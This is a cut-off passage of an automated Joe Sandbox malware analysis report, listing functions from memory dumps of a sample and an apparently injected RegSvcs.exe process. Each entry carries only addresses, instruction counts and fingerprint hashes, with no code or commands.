Instruction Fuzzy Hash: E0518871E057558FEB19CF6B8D4528ABBF3AFC9300F18C1BAC448AA265EB3409468F11

Function 08E98C58 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6cd9096129f4c5f26c2bfb7bf5d7ab641d5841d1e4b34fa6cad1c090934a0a1
Instruction ID: 5112d820dc51d86e8dc6abb89aca47dca854f32e1a30cdb5dd583d297eff83a1
Opcode Fuzzy Hash: e6cd9096129f4c5f26c2bfb7bf5d7ab641d5841d1e4b34fa6cad1c090934a0a1
Instruction Fuzzy Hash: 5C41FA75E006189FEB18DFAAD840ADEBBB7BFC9300F14C4AAD408A7264DB7449418F61

Function 04DE0040 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2432e08641e448cd9691ec8094653da084ede668ae74ae29f7609bfb3f7e64f
Instruction ID: 9e90064246e4b1a4d7eb31d29b0b1d5e96f9db6452b69ae154e314a291bae952
Opcode Fuzzy Hash: a2432e08641e448cd9691ec8094653da084ede668ae74ae29f7609bfb3f7e64f
Instruction Fuzzy Hash: 73416C71E116188BEB28DF6B8D4439EFBF7BFC9300F14C1BA950CA6215EB3019858E15

Function 08E9D888 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e720aec4b75873a263242da1296db8f5216b922437277c035d85aac145295814
Instruction ID: a2a666a25e1a08b6a4acf91e6b113f40cf3902a0668edaf4cccc688208f36f30
Opcode Fuzzy Hash: e720aec4b75873a263242da1296db8f5216b922437277c035d85aac145295814
Instruction Fuzzy Hash: 4F41E6B1E0421A9FDF08CFAAC8805EEFBF2AB88301F24D169C455B7254D7759A418F94

Function 08E9D879 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4211fd4d583eb4f9c2f8fe804aa1059f5e6122858d783d6d2b2eaa56a0ffc3f5
Instruction ID: 47f5b81e1637f1378de8d50a7e4a7f9d3416c29df3d14acb0b5c8b6f7fa5557e
Opcode Fuzzy Hash: 4211fd4d583eb4f9c2f8fe804aa1059f5e6122858d783d6d2b2eaa56a0ffc3f5
Instruction Fuzzy Hash: 84411571E0421A9FDF08CFAAC8405EEFBF2AF89300F24D06AC455B7254D7749A418F54

Function 08E98C48 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1465936940.0000000008E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8e90000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a9b9ba7c88f683560684fa83913f5ec393d26f37d84c3aeb6ba5e336ddfad6a
Instruction ID: c5b278186463a0f1e0bd29b587cd2ebc9ecb9239d6837d8e15e67fa41967b564
Opcode Fuzzy Hash: 6a9b9ba7c88f683560684fa83913f5ec393d26f37d84c3aeb6ba5e336ddfad6a
Instruction Fuzzy Hash: 4E31E7B5E006189BEB18CFABC8407DEBAF7BFC9300F14C57AD848A6264EB7449418F55

Function 04DE7418 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1463924036.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4de0000_SMBKT-20242005.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 581da61a3c57976568d110712e0e4a7c4e0ec8cfe780f681c6f102c66ffb081d
Instruction ID: ca5e2b4277df0beee95ed673c1e4ad501222722e31dce0844855c68797e621ba
Opcode Fuzzy Hash: 581da61a3c57976568d110712e0e4a7c4e0ec8cfe780f681c6f102c66ffb081d
Instruction Fuzzy Hash: E5213671E116598BDB08CFABD940A9EFBF7AFC9300F18C06AD408A7215EB345A028B55

Analysis Process: RegSvcs.exePID: 7764, Parent PID: 7376COMMON

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	17
Total number of Limit Nodes:	4

Executed Functions

Function 06BB6658 Relevance: .8, Instructions: 835COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b1cb5f9e7c01b40f490b428be7892718f8fac952e241ab83dbea1ed224e2d5
Instruction ID: cb419fee88aa7dacc8a9bbec0cc60aa73c8710c244121aed2b074d1228c94c3d
Opcode Fuzzy Hash: 43b1cb5f9e7c01b40f490b428be7892718f8fac952e241ab83dbea1ed224e2d5
Instruction Fuzzy Hash: A4627E74B002049FDB54DB68D594ABDB7F2EF88315F14A4AAD406DB390EBB5EC41CB90

Function 06BBC1F0 Relevance: .6, Instructions: 645
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1747a3e9b748c41375891fa9045e62437490e1261f3de581a67076ffa885d2c5
Instruction ID: f4b7a6df0acd2484678b8f053e0c9564daa6210aaf6011d6924ee57243e90fc4
Opcode Fuzzy Hash: 1747a3e9b748c41375891fa9045e62437490e1261f3de581a67076ffa885d2c5
Instruction Fuzzy Hash: 7B329070B002058FDF64DF68D890BBEBBB6EB88310F14A569D506EB391DB75EC418B91

Function 06BB5650 Relevance: .6, Instructions: 591
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f78a0cc0db6bc01538f984c551f91425bcafcef2b5a38eace537838e38b86ec5
Instruction ID: e0b4c596bceb459abc1205c6331709da602a3ea7e23e98cb63dcc11c02a1efa7
Opcode Fuzzy Hash: f78a0cc0db6bc01538f984c551f91425bcafcef2b5a38eace537838e38b86ec5
Instruction Fuzzy Hash: 7212D5B2F002049FDB74DF65D8807BEBBA2EB85310F14A4AAD4569B345DBB4EC41CB91

Function 06BBB292 Relevance: .6, Instructions: 583COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bee8e713a5eef9985dc492c7f54e2042fa1df6ae043419ddc1f815ce74f3c49c
Instruction ID: 7d814ee7d303399128cd25ee2839b6d973eecfeb3ee6ede22385d8d75b41a5ea
Opcode Fuzzy Hash: bee8e713a5eef9985dc492c7f54e2042fa1df6ae043419ddc1f815ce74f3c49c
Instruction Fuzzy Hash: C6225DB0E002098FEF64CB69D890BFDB7B6EB49310F24A46AE445EB391DA75DC41CB51

Function 06BB3110 Relevance: .5, Instructions: 545
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24ed31ce81ebbcd724c71daeee1e74ec63eb2ba3b34430b8aa603d62d59eec9b
Instruction ID: e417a6c56cb139d0c9f049cfde3c59b33880957f205996d97ba333f79a1824ae
Opcode Fuzzy Hash: 24ed31ce81ebbcd724c71daeee1e74ec63eb2ba3b34430b8aa603d62d59eec9b
Instruction Fuzzy Hash: 58324070E10719CBDB14EB69C8949EDB7B6FFC9300F10D69AD409AB250EB70AD85CB90

Function 06BB7DE0 Relevance: .5, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb55eb132e1ed44acfac30bf8af0db4dce56ef7b4ee75a889d542a3d1eaa180e
Instruction ID: ece38e57c1d7f5556202531ac0c68c98e4d57d9ec6b26c214dce022399033bc9
Opcode Fuzzy Hash: bb55eb132e1ed44acfac30bf8af0db4dce56ef7b4ee75a889d542a3d1eaa180e
Instruction Fuzzy Hash: FE02AF70B012058FDB64DB69D490ABEBBFAFF88300F149569D406AB350DB75EC46CB90

Function 0149EB50 Relevance: 1.6, APIs: 1, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1471742253.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1490000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22de118733fd8bc9ddbaeeba0a9cf3882f411378998d4ee809bc80046a6c49cf
Instruction ID: f2166603dbba84b0aee680b8fc6e0f4751d67f4e208f087f451a54068b3a1b8f
Opcode Fuzzy Hash: 22de118733fd8bc9ddbaeeba0a9cf3882f411378998d4ee809bc80046a6c49cf
Instruction Fuzzy Hash: 6A412171D043899FDB10DFB9D8007EABFB5AF89210F1985ABD809A7251DB349880CBE1

Function 0149EC38 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 0149EC9F

Memory Dump Source

Source File: 00000008.00000002.1471742253.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1490000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 8108ff44aa0157a516f1e7cce85fc4832d8a7459d9ee23edae940ab160d36801
Instruction ID: 8f90652cb4d46bda130cddb06f469d96c49e391b1247fad25054ddce3bbba6d3
Opcode Fuzzy Hash: 8108ff44aa0157a516f1e7cce85fc4832d8a7459d9ee23edae940ab160d36801
Instruction Fuzzy Hash: D211F0B2C1065A9FDB10CFAAC544BDEFBF4AF48320F15816AD818B7650D378A944CFA5

Function 06BB2419 Relevance: 1.0, Instructions: 995COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd03519dfbebcd00c40314a9d71915a720ed6f630f1fc29ae2eb81c3e69db10
Instruction ID: e0d52077b8ce21fea136647e0d895519bfd7639e85c52879cefdee85f2c1c38e
Opcode Fuzzy Hash: 4fd03519dfbebcd00c40314a9d71915a720ed6f630f1fc29ae2eb81c3e69db10
Instruction Fuzzy Hash: B6924874E002048FDB64CF68C584BADBBF2EF49315F54A4A9D4499B361DBB5ED81CB80

Function 06BBCFB0 Relevance: .8, Instructions: 801
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39baaf97ffea02fbb0e3da639997ba8e380f8b5234db9e5a99cd56ab1526cca
Instruction ID: 7f2ce6afce39002e13781b0159c47985ac8efc8bb2f2b48ce31bfb117c98acb4
Opcode Fuzzy Hash: a39baaf97ffea02fbb0e3da639997ba8e380f8b5234db9e5a99cd56ab1526cca
Instruction Fuzzy Hash: 74627FB0A002098FDB15DF68D590AADB7F6FF88700F249A69D0069F365DB75EC46CB81

Function 06BBB6B0 Relevance: .5, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abc29401acd5b64dc8fd3714b61cfbfd4a3e316720ad97e68ecb6c182dec4c04
Instruction ID: 02ea21391700ab20a3b77448a1b5f112c570e82f7ab6740bbac64a657a312278
Opcode Fuzzy Hash: abc29401acd5b64dc8fd3714b61cfbfd4a3e316720ad97e68ecb6c182dec4c04
Instruction Fuzzy Hash: 91028FB0E002098FDB64CB69D580AFDB7B2FB89310F10A9AAD456DB251DFB4DC41CB91

Function 06BBAD38 Relevance: .4, Instructions: 397
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4341d73417078cc1720fb35a0e3e0aa4eabbd6903061ebaf6f8e622c1a2981ff
Instruction ID: 9f78ffd5240b18ef1fad608928586440d59688f1ed77e9a91e48a89253d41248
Opcode Fuzzy Hash: 4341d73417078cc1720fb35a0e3e0aa4eabbd6903061ebaf6f8e622c1a2981ff
Instruction Fuzzy Hash: 27E15BB0E102098FDB64DB69D4906FEB7B6EB88300F20956AD406EB354DBB5DC42CB91

Function 06BB91B8 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2074c771029377bc10e13a9f6a1d314fde319598400a1d7cc296be5cf0d0ca5
Instruction ID: 4e1f0f5a3df278fe2a3975c91b603a9916748079bd22f4a52c5e1e2870407188
Opcode Fuzzy Hash: a2074c771029377bc10e13a9f6a1d314fde319598400a1d7cc296be5cf0d0ca5
Instruction Fuzzy Hash: 68915170B0021A8FDB64EB65D8607BEB7B6FF89300F1494A9C549EB354EF759C418B90

Function 06BB6258 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e2e2725e92fb5abd5f47d174c9ab84f856058b366208e556bf87d8fd4d8e273
Instruction ID: 7ec6f9f5aee3c5f8269d1ccf34c1212c3c5e0f608c489a667e7e5ceeca668960
Opcode Fuzzy Hash: 5e2e2725e92fb5abd5f47d174c9ab84f856058b366208e556bf87d8fd4d8e273
Instruction Fuzzy Hash: 3861E6B1F001114BEF259B6EC9549AEBBE7EFC4620B194479D40ADB360EEB5DC0287D1

Function 06BB4350 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7404ed7c2e6db5d3b43590aa608a27152e6f8cd6779f0dea0d846ce4f3ec76e
Instruction ID: 47bd40bcd4090f20cb2e3700f051471a13a575a15a29e518b05946c51a713d3e
Opcode Fuzzy Hash: c7404ed7c2e6db5d3b43590aa608a27152e6f8cd6779f0dea0d846ce4f3ec76e
Instruction Fuzzy Hash: 3A815E70B002058FDF54DFA8C5A47AEB7F6EB89310F149469D40AEB399EB74DC428B91

Function 06BB4670 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f771f6f6d970e478b3c81644c21b0b55f1539755c21a35a0d49398d2bd5a9a02
Instruction ID: 6d3abcf6fe900453cb8be68f94861745fe2291ba6fc1deee86f587b3eb22ebdc
Opcode Fuzzy Hash: f771f6f6d970e478b3c81644c21b0b55f1539755c21a35a0d49398d2bd5a9a02
Instruction Fuzzy Hash: 3A914D70E102198FDF60DFA8C890BDDB7B1FF89300F209599D549AB295DB70AA85CF91

Function 06BB4688 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a27670ab965f9a053d2d8b097558423e47baf35658dd8928aeecded8b3a0a726
Instruction ID: 65047ab0e9b611f39a742784d37dbf85b14d6d2c59630e58a16e6af99e81b434
Opcode Fuzzy Hash: a27670ab965f9a053d2d8b097558423e47baf35658dd8928aeecded8b3a0a726
Instruction Fuzzy Hash: 53913C70E102198BDF60DFA8C880BDDB7B1FF89300F209599D549BB255DB71AA85CF90

Function 06BBEB68 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7bbc67f93b83aff8f4d0cdfe8a45b75de30d7b6bda68da4b4dd8882bc66dc35
Instruction ID: bcc4364d85485159e8c60f43fd553e3b90824a592bee1c472d8cdde1c84cdcb5
Opcode Fuzzy Hash: e7bbc67f93b83aff8f4d0cdfe8a45b75de30d7b6bda68da4b4dd8882bc66dc35
Instruction Fuzzy Hash: 74713AB0A002099FDB54DFA9D990AEDBBF6FF88300F149569D015AB265DBB4EC42CB50

Function 06BBEB78 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21bd61e24dc4d37afc692f287b6c58a817e73b5b66e626007ab551727ec0e497
Instruction ID: 6dd67efb1955031e0ec89e6564ccc8b7b530efd8399320c8597b3e61e40f248a
Opcode Fuzzy Hash: 21bd61e24dc4d37afc692f287b6c58a817e73b5b66e626007ab551727ec0e497
Instruction Fuzzy Hash: B37139B0A002099FDB54DFA9D990AEDBBF6FF88300F149569D005AB365DBB4EC46CB50

Function 06BB4C20 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b44b9ed43faf393a3e11c6141b25e521b18cacdb38c6b7b5190caa405ba00621
Instruction ID: 3e540667c2e3cb74960ca6edafa25caf1ef68d3268813b9e28fa1413ddc00018
Opcode Fuzzy Hash: b44b9ed43faf393a3e11c6141b25e521b18cacdb38c6b7b5190caa405ba00621
Instruction Fuzzy Hash: 15618170F002099FEF549FB5D8547AEBBF6FB88700F20846AD106AB395DBB55C458B90

Function 06BBFCE0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d5888745b85b1d40dfc63d582d3cf9dd3254a7b7022e2ef5afbe4f465475f4b
Instruction ID: 08645b3ca56c623ece367b1f885cafce5b74e481e5d5b6ec1cd634f87b73eb0f
Opcode Fuzzy Hash: 5d5888745b85b1d40dfc63d582d3cf9dd3254a7b7022e2ef5afbe4f465475f4b
Instruction Fuzzy Hash: A751F1B1E00209DFDF64AF78E8542BDB7B6EF89311F1098AAE106D7251DB758845CB80

Function 06BBFA8F Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e3ef365bc11b10b7e5fc47ffa19e4531c7eab6a49d54b3fbb6c54a37c7b7b4c
Instruction ID: 434c28b9557613c45a5c1b854e287473d1d6578a3c4c5d4e714b2c273b610f5d
Opcode Fuzzy Hash: 7e3ef365bc11b10b7e5fc47ffa19e4531c7eab6a49d54b3fbb6c54a37c7b7b4c
Instruction Fuzzy Hash: CC51C9B0B102149BFF649668DC647BF366EE78D350F20646AD50BC73A5C9BDCC4187A2

Function 06BBFAA0 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f59cb5b2413d289e8625e4b74780e096075ce2ca14020880ea70e0f4cb65bf91
Instruction ID: a22fa0b56f955ded2850f2fb8f4d453c0a3ca5967d3ed888135a5a7853f5f485
Opcode Fuzzy Hash: f59cb5b2413d289e8625e4b74780e096075ce2ca14020880ea70e0f4cb65bf91
Instruction Fuzzy Hash: CE51B9B0B102149BFF649668DC647BF366EE78D310F20646AD50BC73A5C9BDCC4197A2

Function 06BB91A8 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce1db8724a8d6970f7fbcc2cd47e174d2958eec68260a4f04628b933697b0d2f
Instruction ID: 87b62526bef7b404dc884e23d5e1e08f6f42c3629c38e1bedba03795fc29dd64
Opcode Fuzzy Hash: ce1db8724a8d6970f7fbcc2cd47e174d2958eec68260a4f04628b933697b0d2f
Instruction Fuzzy Hash: C2517F70B001058FDB58EB78D8A0BBEB7F6EB89700F54946AC549EB394DF759C018BA0

Function 06BB4C11 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b7ea8fbf1de7bdef8c6b8af9bf4e3e1ca0f6dd0f94c5fbe229fcb5cbf8d84a
Instruction ID: 710e36217e66c9b3de9d7834b3d16ca2770f7f1af483ef70fb433a42eaa076a6
Opcode Fuzzy Hash: 36b7ea8fbf1de7bdef8c6b8af9bf4e3e1ca0f6dd0f94c5fbe229fcb5cbf8d84a
Instruction Fuzzy Hash: 53516170F002199FEB549FA5C854BAEBBF6FF88700F208529D105AB395DA759C458B90

Function 06BB54C8 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f85c8a25c60cf075e6e1592e249ea36986ec488bd66ad398b8f834648554543a
Instruction ID: dd5f288977bc2314ea82c975f5f8cf2f9807d7848671051fe4585cdb18c0c522
Opcode Fuzzy Hash: f85c8a25c60cf075e6e1592e249ea36986ec488bd66ad398b8f834648554543a
Instruction Fuzzy Hash: ED417EB2E006098FDB70CFA9D880BFFB7B2EB44210F10596AE216D7650D771E8458B96

Function 06BB5640 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba316d556de5993e548ffe4e84b1f83ce551a84f85f47b22fe5fcd6292365eef
Instruction ID: 9b3259aa0548f9a720d1e5c1e3a4bea0d21f7bae2ce15fb692e0d6faefc8b29a
Opcode Fuzzy Hash: ba316d556de5993e548ffe4e84b1f83ce551a84f85f47b22fe5fcd6292365eef
Instruction Fuzzy Hash: BD4199B6F102458FDF708F6AC4807BEBBB2EB45310F14E8AAD156DB641C6B5D841CB92

Function 06BBDB25 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4640d4a99f36e138f1d05ac8dd78cec17c1cac4d4dd341a5cd669d64705a8d5
Instruction ID: 40a652495ed7ddbcfa65567c83dec19d4692c3dd1d82b50754c1dba13ebd56ba
Opcode Fuzzy Hash: a4640d4a99f36e138f1d05ac8dd78cec17c1cac4d4dd341a5cd669d64705a8d5
Instruction Fuzzy Hash: A5419EB0E007099FDB60DFA5D4946AEBBB6FF85700F10556AD405EB240DBB9D842CB91

Function 06BB228D Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d7a2a0ccfa800dea858a594e3c99942fda82764e055b6e73c213107e3e4226e
Instruction ID: e01a242d7ba924b3cf9910044e8a4281a71be50fc4c15f7661e91ddad709c89e
Opcode Fuzzy Hash: 9d7a2a0ccfa800dea858a594e3c99942fda82764e055b6e73c213107e3e4226e
Instruction Fuzzy Hash: D831CE70B002018FDB68AB74D4546BE7BB6EB89710F1464A9D402DB3A5DF75CD05C7A1

Function 06BB22A0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1478674765.0000000006BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bb0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
